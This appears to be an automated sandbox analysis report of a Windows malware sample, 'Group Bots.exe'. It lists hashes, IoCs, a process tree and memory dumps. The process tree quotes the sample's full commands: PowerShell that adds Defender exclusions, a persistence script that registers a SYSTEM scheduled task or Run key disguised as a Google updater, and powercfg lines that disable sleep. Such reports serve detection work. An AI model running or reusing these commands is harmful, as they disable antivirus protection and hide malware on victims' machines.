9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

Analysis

max time kernel
34s
max time network
82s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2023, 14:39

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General

Target

Group Bots.exe
Size

1.6MB
MD5

f5a2da741ab2b11ecd79d957f205e4bc
SHA1

62d9022f4b72268fb2523cf849ed9b9b0a162888
SHA256

9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a
SHA512

12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68
SSDEEP

49152:KNm+gSx2NFNJL2enS7U6LGsGjbkhBuvS5XMjViyHR:KNmQgNF7SpL3Gjbk/MW8jViu

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1712 created 3160	1712	Group Bots.exe	40
PID 1712 created 3160	1712	Group Bots.exe	40
PID 1712 created 3160	1712	Group Bots.exe	40
PID 1712 created 3160	1712	Group Bots.exe	40
PID 3720 created 3160	3720	updater.exe	40

Executes dropped EXE 1 IoCs

pid	Process
3720	updater.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Group Bots.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1712	Group Bots.exe
1712	Group Bots.exe
1348	powershell.exe
1348	powershell.exe
1712	Group Bots.exe
1712	Group Bots.exe
1712	Group Bots.exe
1712	Group Bots.exe
1832	powershell.exe
1832	powershell.exe
1712	Group Bots.exe
1712	Group Bots.exe
2340	powershell.exe
2340	powershell.exe
3720	updater.exe
3720	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeShutdownPrivilege	2808	powercfg.exe
Token: SeCreatePagefilePrivilege	2808	powercfg.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	928	powercfg.exe
Token: SeCreatePagefilePrivilege	928	powercfg.exe
Token: SeShutdownPrivilege	740	powercfg.exe
Token: SeCreatePagefilePrivilege	740	powercfg.exe
Token: SeShutdownPrivilege	372	powercfg.exe
Token: SeCreatePagefilePrivilege	372	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1832	powershell.exe
Token: SeSecurityPrivilege	1832	powershell.exe
Token: SeTakeOwnershipPrivilege	1832	powershell.exe
Token: SeLoadDriverPrivilege	1832	powershell.exe
Token: SeSystemProfilePrivilege	1832	powershell.exe
Token: SeSystemtimePrivilege	1832	powershell.exe
Token: SeProfSingleProcessPrivilege	1832	powershell.exe
Token: SeIncBasePriorityPrivilege	1832	powershell.exe
Token: SeCreatePagefilePrivilege	1832	powershell.exe
Token: SeBackupPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeSystemEnvironmentPrivilege	1832	powershell.exe
Token: SeRemoteShutdownPrivilege	1832	powershell.exe
Token: SeUndockPrivilege	1832	powershell.exe
Token: SeManageVolumePrivilege	1832	powershell.exe
Token: 33	1832	powershell.exe
Token: 34	1832	powershell.exe
Token: 35	1832	powershell.exe
Token: 36	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	1832	powershell.exe
Token: SeSecurityPrivilege	1832	powershell.exe
Token: SeTakeOwnershipPrivilege	1832	powershell.exe
Token: SeLoadDriverPrivilege	1832	powershell.exe
Token: SeSystemProfilePrivilege	1832	powershell.exe
Token: SeSystemtimePrivilege	1832	powershell.exe
Token: SeProfSingleProcessPrivilege	1832	powershell.exe
Token: SeIncBasePriorityPrivilege	1832	powershell.exe
Token: SeCreatePagefilePrivilege	1832	powershell.exe
Token: SeBackupPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeSystemEnvironmentPrivilege	1832	powershell.exe
Token: SeRemoteShutdownPrivilege	1832	powershell.exe
Token: SeUndockPrivilege	1832	powershell.exe
Token: SeManageVolumePrivilege	1832	powershell.exe
Token: 33	1832	powershell.exe
Token: 34	1832	powershell.exe
Token: 35	1832	powershell.exe
Token: 36	1832	powershell.exe
Token: SeIncreaseQuotaPrivilege	1832	powershell.exe
Token: SeSecurityPrivilege	1832	powershell.exe
Token: SeTakeOwnershipPrivilege	1832	powershell.exe
Token: SeLoadDriverPrivilege	1832	powershell.exe
Token: SeSystemProfilePrivilege	1832	powershell.exe
Token: SeSystemtimePrivilege	1832	powershell.exe
Token: SeProfSingleProcessPrivilege	1832	powershell.exe
Token: SeIncBasePriorityPrivilege	1832	powershell.exe
Token: SeCreatePagefilePrivilege	1832	powershell.exe
Token: SeBackupPrivilege	1832	powershell.exe
Token: SeRestorePrivilege	1832	powershell.exe
Token: SeShutdownPrivilege	1832	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 2808	4748	cmd.exe	94
PID 4748 wrote to memory of 2808	4748	cmd.exe	94
PID 4748 wrote to memory of 928	4748	cmd.exe	95
PID 4748 wrote to memory of 928	4748	cmd.exe	95
PID 4748 wrote to memory of 740	4748	cmd.exe	96
PID 4748 wrote to memory of 740	4748	cmd.exe	96
PID 4748 wrote to memory of 372	4748	cmd.exe	97
PID 4748 wrote to memory of 372	4748	cmd.exe	97
PID 2340 wrote to memory of 2160	2340	powershell.exe	100
PID 2340 wrote to memory of 2160	2340	powershell.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3160
- C:\Users\Admin\AppData\Local\Temp\Group Bots.exe
  "C:\Users\Admin\AppData\Local\Temp\Group Bots.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hizrhk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:740
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jxtsdguy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3624

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3720

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.6MB

MD5
f5a2da741ab2b11ecd79d957f205e4bc

SHA1
62d9022f4b72268fb2523cf849ed9b9b0a162888

SHA256
9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a

SHA512
12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cf3a85f097fa08c49bf10783f874a5c0

SHA1
c35c3a27c0f82691f87af2892295c7368ee3173f

SHA256
0caf1c4655b20f22fba39cadc077a5160eb4dc3638e06a98c0abfb6f87369790

SHA512
557d2a7761b4b1a7293fbd2e9f8ff5c71e5ba053c2d4dc79c9dc2de7d4896a7ddc293ef282dacd23deae53a4b64e54d3f3236144c8765b0fc109965d2798244a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dznisiog.lxt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1348-10-0x0000025237570000-0x0000025237592000-memory.dmp

Filesize
136KB

Download
memory/1348-11-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/1348-12-0x000002524F9A0000-0x000002524F9B0000-memory.dmp

Filesize
64KB

Download
memory/1348-13-0x000002524F9A0000-0x000002524F9B0000-memory.dmp

Filesize
64KB

Download
memory/1348-16-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/1712-0-0x00007FF706B90000-0x00007FF706D37000-memory.dmp

Filesize
1.7MB

Download
memory/1712-36-0x00007FF706B90000-0x00007FF706D37000-memory.dmp

Filesize
1.7MB

Download
memory/1832-31-0x0000017D39FA0000-0x0000017D39FB0000-memory.dmp

Filesize
64KB

Download
memory/1832-32-0x0000017D39FA0000-0x0000017D39FB0000-memory.dmp

Filesize
64KB

Download
memory/1832-34-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/1832-20-0x0000017D39FA0000-0x0000017D39FB0000-memory.dmp

Filesize
64KB

Download
memory/1832-19-0x0000017D39FA0000-0x0000017D39FB0000-memory.dmp

Filesize
64KB

Download
memory/1832-18-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-37-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-47-0x0000018F7B190000-0x0000018F7B1A0000-memory.dmp

Filesize
64KB

Download
memory/2340-48-0x0000018F7B190000-0x0000018F7B1A0000-memory.dmp

Filesize
64KB

Download
memory/2340-50-0x0000018F7B190000-0x0000018F7B1A0000-memory.dmp

Filesize
64KB

Download
memory/2340-53-0x00007FF805930000-0x00007FF8063F1000-memory.dmp

Filesize
10.8MB

Download
memory/3720-54-0x00007FF641770000-0x00007FF641917000-memory.dmp

Filesize
1.7MB

Download